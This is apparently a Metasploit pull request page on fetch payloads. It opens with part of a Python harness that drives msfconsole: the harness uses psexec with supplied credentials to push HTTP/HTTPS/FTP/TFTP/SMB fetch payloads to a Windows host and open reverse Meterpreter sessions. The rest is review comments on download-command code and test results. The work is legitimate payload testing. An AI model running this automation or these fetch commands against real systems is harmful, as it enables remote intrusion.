    for proto in PROTOCOLS:
        for fetch_cmd in proto['fetch_commands']:
            pipe_values = [False, True] if (fetch_cmd in PIPE_COMMANDS and proto['pipe_supported']) else [False]
            for pipe in pipe_values:
                test_lport   = lport
                lport       += 1
                if 'fixed_srvport' in proto:
                    test_srvport = proto['fixed_srvport']
                else:
                    test_srvport = srvport[proto['name']]
                    srvport[proto['name']] += 1

                pipe_suffix = 'pt' if pipe else 'pf'
                proto_slug = proto['name'].lower().replace('/', '_')
                uri = f"{proto_slug}_{fetch_cmd.lower()}_{pipe_suffix}"
                # Suffix the on-disk filename with the base port so consecutive
                # runs don't collide on the same %TEMP% path.
                port_tag = str(base_port)[-4:]
                filename = f"{uri}_{port_tag}"

                per_test_opts = []
                if not proto.get('no_fetch_command_opt'):
                    per_test_opts.append(f"set FETCH_COMMAND {fetch_cmd}")
                if not proto.get('no_fetch_pipe_opt'):
                    per_test_opts.append(f"set FETCH_PIPE {'true' if pipe else 'false'}")
                ext = proto.get('filename_ext', '')
                per_test_opts.append(f"set FETCH_FILENAME {filename}{ext}")

                tests.append({
                    'name':          f"{proto['name']}/{fetch_cmd}/pipe={'true' if pipe else 'false'}",
                    'proto':         proto['name'],
                    'fetch_command': fetch_cmd,
                    'pipe':          pipe,
                    'payload':       proto['payload'],
                    'fetch_srvport': test_srvport,
                    'lport':         test_lport,
                    'fetch_uripath': uri,
                    'per_test_opts': per_test_opts,
                })
    return tests


ANSI = re.compile(r'\x1b\[[0-9;]*m')


def _proto_log_path(proto_name):
    slug = proto_name.lower().replace('/', '_')
    return f"/tmp/msf_fetch_win_{slug}_{_BASE_PORT}.log"


def read_log(log_file):
    try:
        return ANSI.sub('', open(log_file).read())
    except FileNotFoundError:
        return ''


def write_proto_rc(proto_name, tests):
    p = next(pr for pr in PROTOCOLS if pr['name'] == proto_name)
    lines = [
        "use exploit/windows/smb/psexec",
        "set target 4",
        f"set rhost {TARGET_HOST}",
        f"set smbuser {TARGET_USER}",
        f"set smbpass {TARGET_PASS}",
        f"set lhost {LHOST}",
        "set verbose true",
    ]

    for t in tests:
        lines.append("")
        lines.append(f"set payload {t['payload']}")
        for opt in p['proto_opts']:
            lines.append(opt)
        lines.append(f"set lport {t['lport']}")
        if not p.get('no_srvport_opt'):
            lines.append(f"set fetch_srvport {t['fetch_srvport']}")
        lines.append(f"set fetch_uripath {t['fetch_uripath']}")
        for opt in t['per_test_opts']:
            lines.append(opt)
        lines.append("run -j")

    lines += ["", "sleep 240", "sessions -l", "sessions -C 'load stdapi'", "sleep 90", "sessions -C sysinfo", "sleep 60", "sessions -C sysinfo"]

    slug = proto_name.lower().replace('/', '_')
    rc = tempfile.NamedTemporaryFile(
        mode='w', suffix='.rc', delete=False, prefix=f"msf_win_{slug}_"
    )
    rc.write('\n'.join(lines) + '\n')
    rc.close()
    return rc.name


def run_msf(rc_file, log_file):
    return subprocess.Popen(
        ['bundle', 'exec', 'msfconsole', '-q', '-r', rc_file],
        stdin=subprocess.DEVNULL,
        stdout=open(log_file, 'w'),
        stderr=subprocess.STDOUT,
        cwd=MSF_PATH,
    )


def wait_for_n_handlers(log_file, n, timeout=180):
    start = time.time()
    while time.time() - start < timeout:
        content = read_log(log_file)
        if content.count('Started reverse TCP handler') >= n:
            return content
        if 'Exploit failed' in content or 'failed to bind' in content:
            return content
        time.sleep(2)
    return None


def parse_n_target_commands(log_content, n):
    matches = re.findall(r'Command to execute on target: (.+)', log_content)
    return [m.strip() for m in matches[:n]]


def _ps_encoded(script):
    """Return a powershell -EncodedCommand string for the given script."""
    return 'powershell -NonInteractive -EncodedCommand ' + base64.b64encode(
        script.encode('utf-16-le')
    ).decode('ascii')


def _exec(client, cmd, timeout=10):
    _, stdout, stderr = client.exec_command(cmd)
    stdout.channel.settimeout(timeout)
    try:
        out = stdout.read().decode('utf-8', errors='replace').strip()
    except Exception:
        out = ''
    try:
        err = stderr.read().decode('utf-8', errors='replace').strip()
    except Exception:
        err = ''
    return out, err


def wait_for_sessions(log_file, lports, timeout=300):
    wanted  = set(lports)
    found   = {}
    sysinfo = {}
    start   = time.time()
    while time.time() - start < timeout:
        content = read_log(log_file)
        for m in re.finditer(
            r'(Meterpreter session \d+ opened \(([^)]+)\) at .+)', content
        ):
            session_str = m.group(1)
            conn = m.group(2)
            lp_match = re.search(r':(\d+) ->', conn)
            if lp_match:
                lp = int(lp_match.group(1))
                if lp in wanted and lp not in found:
                    found[lp] = session_str
        for m in re.finditer(
            r'meterpreter\s+\S+.*?(\d+\.\d+\.\d+\.\d+):(\d+) -> (\d+\.\d+\.\d+\.\d+):(\d+)',
            content
        ):
            lp = int(m.group(2))
            if lp in wanted and lp not in found:
                found[lp] = f"session via sessions-l ({m.group(1)}:{lp} -> {m.group(3)}:{m.group(4)})"
        # Build session_id -> lport map from sessions -l table
        sid_to_lport = {}
        for m in re.finditer(
            r'^\s+(\d+)\s+meterpreter.*?(\d+\.\d+\.\d+\.\d+):(\d+)\s*->',
            content, re.MULTILINE
        ):
            sid = int(m.group(1))
            lp  = int(m.group(3))
            if lp in wanted:
                sid_to_lport[sid] = lp
        # Parse sysinfo output from "sessions -C sysinfo"
        for m in re.finditer(
            r"Running 'sysinfo' on meterpreter session (\d+)[^\n]*\nComputer\s*:\s*(.+)",
            content
        ):
            sid = int(m.group(1))
            if sid in sid_to_lport:
                lp = sid_to_lport[sid]
                if lp not in sysinfo:
                    sysinfo[lp] = m.group(2).strip()
        if len(found) == len(wanted) and len(sysinfo) == len(wanted):
            break
        time.sleep(2)
    return found, sysinfo


def kill_lingering(port, udp=False):
    flags = '-ulnp' if udp else '-tlnp'
    result = subprocess.run(
        ['ss', flags, f'sport = :{port}'],
        capture_output=True, text=True,
    )
    for pid_match in re.finditer(r'pid=(\d+)', result.stdout):
        pid = int(pid_match.group(1))
        try:
            os.kill(pid, 9)
            log(f"  killed pid {pid} on {'udp' if udp else 'tcp'} port {port}")
        except ProcessLookupError:
            pass


def cleanup_target():
    log("[CLEANUP] Removing stale binaries on Windows target...")
    try:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(TARGET_HOST, username=TARGET_USER, password=TARGET_PASS,
                       timeout=10, allow_agent=False, look_for_keys=False)
        # Kill processes by matching their full executable path to avoid relying
        # on process-name truncation, then delete the files.
        ps = (
            '$files = Get-ChildItem $env:TEMP\\http_*,$env:TEMP\\https_*,'
            '$env:TEMP\\ftp_*,$env:TEMP\\tftp_*,$env:TEMP\\smb_*,'
            '$env:TEMP\\msf_* -ErrorAction SilentlyContinue;'
            'if ($files) {'
            '  $paths = $files.FullName;'
            '  Get-WmiObject Win32_Process |'
            '  Where-Object { $paths -contains $_.ExecutablePath } |'
            '  ForEach-Object { [void]$_.Terminate() };'
            '  Start-Sleep -Seconds 2;'
            '  $paths | Remove-Item -Force -ErrorAction SilentlyContinue'
            '};'
            'Write-Output done'
        )
        out, _ = _exec(client, _ps_encoded(ps), timeout=20)
        client.close()
        log(f"[CLEANUP] {out or 'ok'}")
    except Exception as exc:
        log(f"[CLEANUP] Warning: {exc}")


def run_proto_group(proto_name):
    tests = TESTS_BY_PROTO[proto_name]
    n = len(tests)
    log_file = _proto_log_path(proto_name)

    results = {t['lport']: {
        'test': t, 'passed': False, 'session': None,
        'sysinfo': None, 'target_cmd': None, 'error': None,
    } for t in tests}

    log(f"[{proto_name}] Starting {n} tests")

    p = next(pr for pr in PROTOCOLS if pr['name'] == proto_name)
    srv_udp = p.get('srv_udp', False)
    for t in tests:
        kill_lingering(t['lport'])
        kill_lingering(t['fetch_srvport'], udp=srv_udp)

    rc_file = write_proto_rc(proto_name, tests)
    proc = run_msf(rc_file, log_file)

    content = wait_for_n_handlers(log_file, n, timeout=240)
    if content is None:
        for t in tests:
            results[t['lport']]['error'] = 'Handlers did not all start within timeout'
        proc.terminate()
        return list(results.values())

    if 'Exploit failed' in content or 'failed to bind' in content:
        for t in tests:
            results[t['lport']]['error'] = 'Handler setup failed'
        proc.terminate()
        return list(results.values())

    cmds = parse_n_target_commands(content, n)
    for t, cmd in zip(tests, cmds):
        results[t['lport']]['target_cmd'] = cmd
        log(f"[CMD] {t['name']}: {cmd}")

    lports = [t['lport'] for t in tests]
    sessions, sysinfo = wait_for_sessions(log_file, lports, timeout=480)

    proc.terminate()
    try:
        proc.wait(timeout=10)
    except subprocess.TimeoutExpired:
        proc.kill()

    for t in tests:
        lp = t['lport']
        if lp in sessions and lp in sysinfo:
            results[lp]['passed'] = True
            results[lp]['session'] = sessions[lp]
            results[lp]['sysinfo'] = sysinfo[lp]
            print(f"[PASS] {t['name']}: {sessions[lp]}")
        elif lp in sessions:
            results[lp]['session'] = sessions[lp]
            results[lp]['error'] = 'Session opened but sysinfo failed'
            print(f"[FAIL] {t['name']}: Session opened but sysinfo failed")
        elif results[lp]['error'] is None:
            results[lp]['error'] = 'No Meterpreter session within timeout'
            print(f"[FAIL] {t['name']}: No session within timeout")

    return list(results.values())


def _matrix(results):
    protos    = list(dict.fromkeys(r['test']['proto'] for r in results))
    pipe_vals = list(dict.fromkeys(r['test']['pipe'] for r in results))
    col_labels = [('pipe=true' if p else 'pipe=false') for p in pipe_vals]
    col_w = max(len(c) for c in col_labels) + 2

    for proto in protos:
        pr = [r for r in results if r['test']['proto'] == proto]
        fetch_cmds  = list(dict.fromkeys(r['test']['fetch_command'] for r in pr))
        row_label_w = max(len(f) for f in fetch_cmds) + 2
        by_key = {(r['test']['fetch_command'], r['test']['pipe']): r for r in pr}

        print(f"  {proto}:")
        print(f"  {'':<{row_label_w}}" + ''.join(f"{c:^{col_w}}" for c in col_labels))
        print(f"  {'-'*row_label_w}" + '-' * (col_w * len(pipe_vals)))
        for fc in fetch_cmds:
            row = f"  {fc:<{row_label_w}}"
            for pv in pipe_vals:
                r = by_key.get((fc, pv))
                cell = 'PASS' if (r and r['passed']) else ('FAIL' if r else 'N/A ')
                row += f"{cell:^{col_w}}"
            print(row)
        print()


def print_summary(results):
    print(f"\n{'='*60}")
    print("RESULTS SUMMARY")
    print(f"{'='*60}\n")

    _matrix(results)

    for r in results:
        t = r['test']
        status = 'PASS' if r['passed'] else 'FAIL'
        print(f"  [{status}] {t['name']}")
        print(f"    Payload        : {t['payload']}")
        print(f"    LHOST          : {LHOST}   LPORT: {t['lport']}")
        print(f"    FETCH_COMMAND  : {t['fetch_command']}")
        print(f"    FETCH_SRVPORT  : {t['fetch_srvport']}")
        print(f"    FETCH_PIPE     : {'true' if t['pipe'] else 'false'}")
        print(f"    FETCH_URIPATH  : {t['fetch_uripath']}")
        if r['target_cmd']:
            print(f"    Target cmd     : {r['target_cmd']}")
        if r['session']:
            print(f"    Session        : {r['session']}")
        if r['sysinfo']:
            print(f"    Sysinfo        : {r['sysinfo']}")
        if r['error']:
            print(f"    Error          : {r['error']}")
        print()

    passed = sum(r['passed'] for r in results)
    print(f"Overall: {passed}/{len(results)} passed")
    return 0 if passed == len(results) else 1


def main():
    global LHOST, MSF_PATH, TARGET_HOST, TARGET_USER, TARGET_PASS, _BASE_PORT, LOG_FILE, TESTS, TESTS_BY_PROTO

    parser = argparse.ArgumentParser(
        description='Test MSF Windows fetch x64/x86 payloads (HTTP/HTTPS/FTP/TFTP/SMB)'
    )
    parser.add_argument('--lhost', required=True,
                        help='MSF listening host (IP address reachable from target)')
    parser.add_argument('--msf-path', default='/home/tmoose/git/metasploit-framework',
                        help='Path to metasploit-framework checkout')
    parser.add_argument('--target-host', default=None,
                        help='Windows target host (SMB/SSH)')
    parser.add_argument('--target-user', default=None,
                        help='Windows target username')
    parser.add_argument('--target-pass', default=None,
                        help='Windows target password (prompted if omitted)')
    parser.add_argument('--port-base', type=int, default=random.randint(10000, 60000),
                        help='Base port for this run (default: random in 10000-60000). '
                             'Space concurrent instances at least 60 ports apart.')
    args = parser.parse_args()

    LHOST       = args.lhost
    MSF_PATH    = args.msf_path
    TARGET_HOST = args.target_host or input('Target host: ').strip()
    TARGET_USER = args.target_user or input('Target user: ').strip()
    TARGET_PASS = args.target_pass or getpass.getpass('Target password: ')

    _BASE_PORT = args.port_base
    LOG_FILE   = f'/tmp/fetch_win_x64_test_{_BASE_PORT}.log'
    TESTS      = build_tests(_BASE_PORT)
    TESTS_BY_PROTO = {}
    for t in TESTS:
        TESTS_BY_PROTO.setdefault(t['proto'], []).append(t)

    global _log_fh
    _log_fh = open(LOG_FILE, 'w')
    print(f"Logging verbose output to {LOG_FILE}")
    try:
        cleanup_target()
        order = {t['name']: i for i, t in enumerate(TESTS)}
        proto_names = list(TESTS_BY_PROTO.keys())

        with concurrent.futures.ThreadPoolExecutor(max_workers=min(5, len(proto_names))) as executor:
            futures = {executor.submit(run_proto_group, name): name for name in proto_names}
            all_results = []
            for f in concurrent.futures.as_completed(futures):
                all_results.extend(f.result())

        all_results.sort(key=lambda r: order[r['test']['name']])
        return print_summary(all_results)
    finally:
        _log_fh.close()


if __name__ == '__main__':
    sys.exit(main())


Windows tests work a lot better because of the timeout issues I kept hitting, so you might need to run the Linux tests a couple times and make sure the failures are inconsistent. Also, I ran into issues where having the database running caused intermittent errors and failures. I have no idea why.

@msutovsky-r7 msutovsky-r7 self-assigned this Jun 16, 2026
if opts[:dynamic_arch]
vprint_status("Dynamic Payload Detected, expecting a Query String in the request...")
query_string = request.uri_parts['QueryString'] || {}
arch_param = query_string['arch']

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would it make sense to generate random parameter name and then just fetch the first parameter from request, whatever its name is?

vprint_status("Dynamic Payload Detected, expecting a Query String in the request...")
query_string = request.uri_parts['QueryString'] || {}
arch_param = query_string['arch']
if arch_param.nil? || arch_param.strip.empty?

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would this work as well?

Suggested change
if arch_param.nil? || arch_param.strip.empty?
if arch_param.blank?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would it make sense to generate random parameter name and then just fetch the first parameter from request, whatever its name is?

I don't follow? What issue would that solve?

else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
get_file_cmd << '?arch=$(uname -m)' if dynamic_arch

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can we just randomize the parameter name instead of fixed arch and then fetch the first argument when parsing the request? Would it make sense?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Are you asking if we could randomize the query string we send and use that as a mapping to send the right arch payload?

If so, the answer is yes and no- Fetch payload URIs are generated to look random, but are based on the payload values so that a default URI for a given payload with a given callback IP and port get a deterministic but random-looking URI so that we can create the payload and listener separately. That means a payload create in msfvenom will work with a listener in framework if the payload, IP, and ports match.
If we create a random value to represent the arch, then we would need to somehow get that random value mapping from and to asynchronous generators/listeners. While possible, that's a PITA.

There are a couple ways we could get around this, but they are all complicated and many rely on a binary being present on the target host. Since this is in the background, we don't really need to implement it right now, either.

  1. We could do something like base64 encoding the uname result with the filename and return that as the query string.
  2. We could xor the uname value with the lport value.
  3. We could ask for a "secret" value and use that to obfuscate the uname value in the query string.

There are lots of other ways, but to get things to work right, we need to share a "secret" or obfuscate it with pseudorandomness.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think he was asking just to change the ?arch= to be runtime generated, like ?asJan= and have it set up randomly at every to_handler

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Oh; I see. Thank you!

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

After thinking on this, if we randomize the query string parameter, then we'd either have to share it with the handler or we'd limit the extensibility.

Comment on lines 394 to +398
case fetch_protocol
when 'HTTP'
get_file_cmd = "GET -m GET http://#{download_uri}>#{_remote_destination}"
get_file_cmd = "GET -m GET http://#{download_uri(uri)} | tee #{_remote_destination}"
when 'HTTPS'
# There is no way to disable cert check in GET ...
print_error('GET binary does not support insecure mode')
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET')
get_file_cmd = "GET -m GET https://#{download_uri}>#{_remote_destination}"
unless datastore['FETCH_CHECK_CERT']

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What kind of bug do you mean? IIRC, in case of FETCH_FILELESS, the get_file_cmd is usually called in subshell ( $(...)), so the redirection takes place in separate shell. I might be wrong though.

@@ -0,0 +1,291 @@
# -*- coding: binary -*-

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sounds to me like a little bit separate issue from fetch payloads itself (?) so maybe separate PR would make more sense?

@msutovsky-r7

Copy link
Copy Markdown
Contributor

Hey @bwatters-r7, left some comments, but the testing looks okay (some scripts were not working, so I tested them manually):

  • Linux FTP
============================================================
FTP (linux/x64) RESULTS SUMMARY
============================================================

  FETCH_COMMAND    none       shell     python3.8+ 
  ---------------------------------------------
  FTP          PASS        PASS        PASS    
  TNFTP        PASS        PASS        PASS    
  • Linux HTTP
  • Linux HTTPS
  • Linux TFTP
  • Linux Fetch Multi
============================================================
RESULTS SUMMARY
============================================================

  FETCH_PIPE = false
                  none     python3.8+ 
  ------------------------------------
  HTTP/CURL       PASS        PASS    
  HTTP/WGET       PASS        PASS    
  HTTPS/CURL      PASS        PASS    
  HTTPS/WGET      PASS        PASS    

  FETCH_PIPE = true
                  none     python3.8+ 
  ------------------------------------
  HTTP/CURL       PASS        PASS    
  HTTP/WGET       PASS        PASS    
  HTTPS/CURL      PASS        PASS    
  HTTPS/WGET      PASS        PASS  
  • Windows HTTP

@bwatters-r7

Copy link
Copy Markdown
Contributor Author

I've rerun the Meterpreter acceptance test 2 times and now gotten 3 different failures.
The latest was:

rspec './spec/acceptance/meterpreter_spec.rb[1:5:1:1:6:1]' # Meterpreter windows_meterpreter staged windows/meterpreter/reverse_tcp windows post/test/get_env windows/windows_meterpreter meterpreter successfully opens a session for the "windows/meterpreter/reverse_tcp" payload and passes the "post/test/get_env" tests

I don't think that anything here would affect get_env I assume those tests are just borked.

@dledda-r7 dledda-r7 assigned dledda-r7 and unassigned msutovsky-r7 Jul 8, 2026
@bwatters-r7

Copy link
Copy Markdown
Contributor Author

Meterpreter acceptance failing. I don't think this is related to this PR?

Failed examples:

rspec './spec/acceptance/meterpreter_spec.rb[1:5:1:1:12:1]' # Meterpreter windows_meterpreter staged windows/meterpreter/reverse_tcp windows post/test/socket_channels windows/windows_meterpreter meterpreter successfully opens a session for the "windows/meterpreter/reverse_tcp" payload and passes the "post/test/socket_channels" tests
rspec './spec/acceptance/meterpreter_spec.rb[1:5:1:1:5:1]' # Meterpreter windows_meterpreter staged windows/meterpreter/reverse_tcp windows post/test/file windows/windows_meterpreter meterpreter successfully opens a session for the "windows/meterpreter/reverse_tcp" payload and passes the "post/test/file" tests
rspec './spec/acceptance/meterpreter_spec.rb[1:5:1:1:1:1]' # Meterpreter windows_meterpreter staged windows/meterpreter/reverse_tcp windows windows/windows_meterpreter Meterpreter successfully opens a session for the "windows/meterpreter/reverse_tcp" payload exposes available metasploit commands

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

Add Fetch Linux Multi arch Meterpreter

7 participants